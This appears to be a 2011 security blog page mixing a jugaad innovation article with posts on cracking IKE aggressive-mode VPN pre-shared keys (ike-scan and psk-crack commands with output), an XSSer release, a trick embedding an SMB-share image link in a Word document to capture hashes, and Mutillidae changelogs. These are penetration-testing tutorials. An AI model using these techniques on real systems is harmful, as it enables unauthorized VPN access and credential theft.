Friday, December 9, 2011

Use Jugaad to Innovate Faster, Cheaper, Better

This is not a techie post, but I just loved what the post author had to say. A grand shout out to Jugaad innovators.

We recently attended the World Economic Forum's India Economic Summit 2011 in Mumbai, where we moderated several panels and workshops on the topic of innovation. The experience gave us some insights into a unique approach to innovation called jugaad, which entrepreneurs and enterprises are practicing in complex emerging markets like India.

Jugaad is a Hindi word that loosely translates as "the gutsy art of overcoming harsh constraints by improvising an effective solution using limited resources." Jugaad is an antidote to the complexity of India: a country of mind-blogging diversity; pervasive scarcity of all kinds; and exploding interconnectivity (India is adding 10 million cellphone subscribers every month).

This highly resource-constrained and chaotic environment inspires jugaad innovators — i.e., the Indian entrepreneurs and corporations who practice jugaad to develop market-relevant products and services that are inherently affordable and sustainable. Jugaad innovators are modern-day alchemists who transmute adversity into opportunity, and in so doing create value for their organizations and communities. And while we first learned about jugaad while conducting field research in India over the past several years, we've found that jugaad innovators exist around the world, including right here in the U.S.

There are three aspects of jugaad that make it particularly effective. Specifically:

Jugaad innovators innovate faster: Jugaad innovators don't use linear, pre-planned, time-consuming R&D processes. Rather, they rely heavily on rapid prototyping techniques — i.e., they collaborate intimately with customers and use their constant feedback to zero in on the most relevant product features. For instance, Jane Chen and Rahul Panicker, Stanford graduates and co-founders of Embrace, worked closely with village pediatricians and patients in rural India to iteratively optimize the design of their breakthrough portable infant warmer — which costs less than 5% of incubators sold in the West (which are typically priced around $20,000).

Jugaad innovators innovate cheaper: Jugaad innovators are very frugal. Rather than reinventing the wheel or splurging on expensive R&D projects, they develop new solutions by building upon existing infrastructure and assets, as well as by recombining existing solutions. In doing so, they can pass the cost savings on to their customers. For instance, YES Bank, one of India's leading private banks, has deployed a mobile payment solution that enables money transfer via cellphones without the need for a bank account. This solution piggybacks on India's existing robust mobile telephony infrastructure that extends to the remotest of villages in India (a country where nearly 870 million people have cellphones, but 600 million or so do not have a bank account).

Jugaad innovators innovate better: Jugaad innovators recognize that consumers in emerging markets are low earners, but high yearners. As such, jugaad innovators attempt to meet customers' high aspirations by developing solutions that are not only affordable, but that also deliver superior value. In sum, they strive to deliver more (value) for less (cost). Take, for instance, SELCO, an Indian renewable energy firm founded by the U.S.-educated Harish Hande. Recognizing the diverse needs of the Indian rural population, SELCO set out to personalize the value proposition of its solar lanterns to individual customers — be they a village midwife who doesn't want the toxic fumes of a kerosene lamp polluting her patient's environment; a rosebud collector looking for a modular lighting solution that can be repaired quickly in a remote location; or a vegetable seller who doesn't want to contend with the electrical outages that are typical across India. As a result, more than 115,000 rural customers now use SELCO's solar lanterns — not only because they are affordable, but because they deliver superior value by addressing customers' unique needs.

What makes jugaad innovators so adept at innovating faster, cheaper, and better? The answer lies in their unique mindset — characterized by two key attributes: adaptability and inclusivity.

Jugaad innovators are highly adaptable: Indian entrepreneurs who practice jugaad are a resilient bunch: they continually find ways to bounce back from the adversity that permeates every aspect of their lives. Jugaad innovators sense and respond to rapid changes in their environment by dynamically reinventing their business models. For instance, Chen and Panicker, co-founders of Embrace, initially set out to design a fixed incubator at a low-cost — but once they discovered that Indian village women preferred to hold their newborn babies close to their bodies, they quickly adapted their business model around a portable infant warmer.

Jugaad innovators are inclusive: In India, more than 800 million citizens lack access to healthcare, 600 million are unbanked, and 400 million live off the electricity grid. While most corporations view these marginal segments as being unprofitable, jugaad innovators like YES Bank's Rana Kapoor and SELCO's Harish Hande have invented inclusive business models for profitably serving the millions who live on the margins of society. For these entrepreneurs, including the margin not only provides for greater social good, it also makes great business sense.

Interestingly, we have noticed that jugaad is practiced not only by Indian entrepreneurs and corporations, but also by some pioneering multinationals in India. Take GE Healthcare, for instance,which used the flexible jugaad mindset to make high-quality cancer diagnosis and treatment accessible to underdeveloped communities across India. Until recently, India had been importing the radioisotopes required for nuclear imaging such as PET/CT scans. This was not only unaffordable for many rural hospitals, it was ineffective because the radioisotopes decay over time (in hours or even minutes), so they need to be administered to the patient soon after they're produced. GE Healthcare partnered with private diagnostic centers and airline companies to locally produce radioisotopes — and make deliveries on a just-in-time basis to small-town hospitals around the country. Now, with GE Healthcare's frugal "pay-per-use" pricing model and just-in-time delivery mechanism, the supply of radioisotopes has become affordable and dependable for many rural hospitals.

The jugaad mindset — and its associated principles and practices — is increasingly relevant for companies worldwide who are seeking to grow in an increasingly complex and resource-constrained business environment. Unlike traditional, structured innovation methods that rely on time-consuming and expensive R&D processes, the more fluid jugaad approach delivers speed, agility, and cost efficiencies. Jugaad is a "bottom up" innovation approach that provides organizations in both emerging and developed economies the key capabilities they need to succeed in a hypercompetitive and fast-moving world: frugality, inclusivity, collaboration, and adaptability.

Aggressive Mode VPN -- IKE-Scan, PSK-Crack, and Cain

Carnal0wnange blog has this nice article about hacking into IPSEC tunnels in aggressive mode.


There hasn't been much in the way of updates on breaking into VPN servers that have aggressive mode enabled.

ike-scan is probably still your best bet.

If you have no idea what i'm talking about go read this:
http://www.sersc.org/journals/IJAST/vol8/2.pdf and
http://www.radarhack.com/dir/papers/Scanning_ike_with_ikescan.pdf

In IKE Aggressive mode the authentication hash based on a preshared key (PSK) is transmitted as response to the initial packet of a vpn client that wants to establish an IPSec Tunnel (Hash_R). This hash is not encrypted. It's possible to capture these packets using a sniffer, for example tcpdump and start dictionary or brute force attack against this hash to recover the PSK.

This attack only works in IKE aggressive mode because in IKE Main Mode the hash is already encrypted. Based on such facts IKE aggressive mode is not very secure.

It looks like this:
$ sudo ike-scan 192.168.207.134
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)

192.168.207.134 Notify message 14 (NO-PROPOSAL-CHOSEN) HDR=(CKY-R=f320d682d5c73797)
Ending ike-scan 1.9: 1 hosts scanned in 0.096 seconds (10.37 hosts/sec).
0 returned handshake; 1 returned notify

$ sudo ike-scan -A 192.168.207.134
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ikescan/)

192.168.207.134 Aggressive Mode Handshake returned HDR=(CKY-R=f320d6XXXXXXXX) SA=(Enc=3DES Hash=MD5 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800) VID=12f5f28cXXXXXXXXXXXXXXX (Cisco Unity) VID=afcad71368a1XXXXXXXXXXXXXXX(Dead Peer Detection v1.0) VID=06e7719XXXXXXXXXXXXXXXXXXXXXX VID=090026XXXXXXXXXX (XAUTH) KeyExchange(128 bytes) ID(Type=ID_IPV4_ADDR, Value=192.168.207.134) Nonce(20 bytes) Hash(16 bytes)
To save with some output:
$ sudo ike-scan -A 192.168.207.134 --id=myid -P192-168-207-134key
Once you have you psk file to crack you're stuck with two options psk-crack and cain

psk-crack is fairly rudamentary

to brute force:

$psk-crack -b 5 192-168-207-134key
Running in brute-force cracking mode
Brute force with 36 chars up to length 5 will take up to 60466176 iterations

no match found for MD5 hash 5c178d[SNIP]
Ending psk-crack: 60466176 iterations in 138.019 seconds (438099.56 iterations/sec)
Default is charset is "0123456789abcdefghijklmnopqrstuvwxyz" can be changed with --charset=
$ psk-crack -b 5 --charset="01233456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz" 192-168-207-134key
Running in brute-force cracking modde
Brute force with 63 chars up to length 5 will take up to 992436543 iterations
To dictionary attack:

$psk-crack -d /path/to/dictionary 192-168-207-134key
Running in dictionary cracking mode

no match found for MD5 hash 5c178d[SNIP]
Ending psk-crack: 14344876 iterations in 33.400 seconds (429483.14 iterations/sec)
You may find yourself wanting a bit more flexibility or options during bruteforcing or dictionary attacking (i.e. character substition). For this you'll need to use Cain. The problem I ran in to was Cain is a Windows tool and ike-scan is *nix. I couldnt get the windows tool that is floating around to work. Solution...run in vmware and have Cain sniff on your VMware interface. The PSK should show up in passwords of the sniffer tab, then you can select and "send to cracker". Its slow as hell, but more options than psk-crack.


Thursday, December 1, 2011

XSSer v.1.6 BETA Released

Cross Site "Scripter" is an automatic -framework- to detect, exploit and report XSS vulnerabilities in web-based applications.It contains several options to try to bypass certain filters, and various special techniques of code injection.


Changelog:


Core: Added Drop Cookie option + Added Random IP X-Forwarded-For an X-Client-IP option + Added GSS and NTLM authentication methods + Added Ignore proxy option + Added TCP-NODELAY option + Added Follow redirects option + Added Follow redirects limiter parameter + Added Auto-HEAD precheck system + Added No-HEAD option + Added Isalive option + Added Check at url option (Blind XSS) + Added Reverse Check parameter + Added PHPIDS (v.0.6.5) exploit + Added More vectors to auto-payloading + Added HTML5 studied vectors + Fixed Different bugs on core + Fixed Curl handlerer options + Fixed Dorkerers system + Fixed Bugs on results propagation + Fixed POST requests. GTK: Added New features to GTK controller + Added Detailed views to GTK interface


Download: http://xsser.sourceforge.net

Wednesday, November 30, 2011

Embeding A Link To A Network Share In A Word Doc

Taken from Carnal0wnage blog, this is an excellent method to embed network share in a word document.

snip snip .......

Someone asked me how to embed an HTML Link to an smb share into a word doc. End result would be to use the capture/server/smb or exploit/windows/exploit/smb/smb_relay modules. Easy right? Well it wasn't THAT easy...

In office 2010 when I'd go to pull in a picture to the document by adding a picture from a network share the picture would become part of the doc and not be retrieved every time the document opened. The solution was to add some html to the document.

I ended up addind the following code to the office document (replace "[" or "]" with "<" or ">":

[html][body][img src="\\192.168.26.133\share\pwn.jpeg"
width=1 height=1][/body][html]
Once that is done go to insert-->object--text from file-->select your HTML file

Once that is done, save and open the document, if all is well you'll see the SMB requests to the network share you specified and if you are running the smb capture module you should see some traffic. Screenshot below shows the goods...I do realize the LM hashes are missing from smb capture screenie (disabled on windows 7?) but i was too lazy to install office on a VM just for the screenshot.



If this doesnt work for anyone let me know.





Session Hijacking - SSL Session Sidejacking (SSLStrip, Hamster, Ferret)

Mutillidae 2.1.7 Deliberately Vulnerable Web App Updated (a lot)

Jeremy Druin has been doing a lot of work on Mutillidae. Here is the change long since the last time I mentioned it:

Change Log for Mutillidae 2.1.7:

Added a new page for HTML5 storage. The page is meant to show how to both use and attack HTML5 storage. The page supports Local and Session storage types. The user can attack the storage in two contexts. They can act as if they want to read to contents of their own browsers session storage to see if the developer put authorization tokens or other items into the storage. They can also try to use XSS to steal the session storage. In this use-case the user would be acting as if they wanted to read someone elses storage. A large number of hints has been added to the page. The page name is "html5-storage.php" and can be accessed from the Cross Site Scripting menu and information leakage menu. In security level zero, the page has no defenses. In level 1, the page will use trivial JavaScript validation. In security level 5, the page will refuse to put the secrets in client side storage.

11/13/2011: Jeremy Druin / Kenny Kurtz

Change Log for Mutillidae 2.1.6:

Enhanced the .htaccess file to automatically disable magic quotes on systems which enable them by default (such as some OSX versions of PHP)
Fixed some bugs in the phpinfo.php file that made the page display weird.
Enhanced the hidden PHPINFO page so that it would work if the user browsed to http://localhost/mutillidae/index.php?page=phpinfo.php or to http://localhost/mutillidae/phpinfo.php. This example assumes Mutillidae is running on localhost.
Fixed a bug in index.php that kept the log-visit page from being included.
Fixed a bug in log-visit.php that kept the page from working.
Fixed installation instructions format for IE 8 not in compatibility mode.

11/10/2011: Jeremy Druin

Change Log for Mutillidae 2.1.5:

Added vuln to login sequence. Now a cookie is created with username. Students should try to XSS the cookie and see what happens. Also try a response splitting attack because a cookie is an HTTP header.
Created new twitter feed to make Mutillidae announcements and other web vulnerability tweaks. @webpwnized
Fixed installation instructions format for IE 8 not in compatibility mode

10/14/2011: Jeremy Druin

Change Log for Mutillidae 2.1.4:

Moved usage instructions and php errors from the home page to their own pages.
In insecure mode, changed the method of the user-info.php page to GET in order to make it easier to use sqlmap against Mutillidae. sqlmap supports POST but it is easier to use with GET.
Added hints about sqlmap to sql injection tutorial and to the easter egg file
Added a credit card table as a target in the database
Confirmed that the view-blog table can be attacked with sqlmap. The answer is in the Easter Egg file.

10/13/2011: Jeremy Druin

Change Log for Mutillidae 2.1.3:

Fix a bug. If the user was on the home page, without having clicked any link to this point (such as when using a bookmark), then the user clicked the "change security level", the page would redirect to page not found.
Increased the slide time for the ddsmoothmenu to make it slow down a little bit
Added a NEW vulnerability. Many sites have crazy pages that show server settings, expose admin functionality, allow configuration, or other features a user should not be able to see. The problem is not the pages themselves so much as the fact that developers think no one will guess the name and browse to them. Shoulder surfing, guessing, brute-forcing, etc can be used to find these pages. Mutillidae now has such a page. It is in the "Server Misconfiguration" category. See secret-administrative-pages.php for hints.
Augmented the installation instructions
Added link to ihackcharities to front page
Added a new security level. Now there is security level 1. The only difference in this release between level 0 and level 1 is that level 1 has JS validation. The JS validation has been in place for a while to allow but was activated in level 0. Since level 0 is supposed to be very easy, the decision was made to create level 1 and move JS validation to level 1. The JS validation is trivial to bypass. Simply disable JS or use a proxy such as Tamper Data, Paros, Burp, WebScarab, or others.
Page homenotes.php has been merged with home.php.
Page home.html has been renamed home.php
Added protection for SQL injection to add to your blog.php output of the current users blog entries. Prior to this patch, you could SQL inject in security level 5 by putting your injection in the current users login name because the query uses the current users login name as the input to the query.
Improved the DNS lookup page to add JS validation in security level 1 mode.
Changed padding for BACK button to use styles rather than HTML BR tags.
Changed the password generator password length to 15 to set a better example.
Some refactoring on user-info.php and login.php to clean up code
Added CSRF Protection to page add to your blog. This only works in secure mode.
Added more scripts to the easter egg file (Mutillidae Test Scripts)
Bug fix: The setupandreset.php errors were not printing out.
Stupid bug fix: Removed the "open DB" that was firing before the database was actually created.
Created output on page setupandreset.php to show what happened
Added try/catch and more error handling to setupandreset.php

Wednesday, November 23, 2011

Top 10 iPhone Security Tips

This paper offers guidelines on securing your iPhone using features provided by iOS and by following other security best practices.It begins by discussing basic security settings for novice users and then continues to discuss advanced techniques for expert users.This paper is intended for users who want to take proactive measures to secure their iPhones,companies willing to train their employees (before allowing corporate emails on the devices),and administrators working on developing strong policies.It confines its discussion to iPhone security features only and does not discuss similar features that may be available in other mobile device platforms such as Android.However,some of the concepts and standards apply across all these devices.


Download PDF here.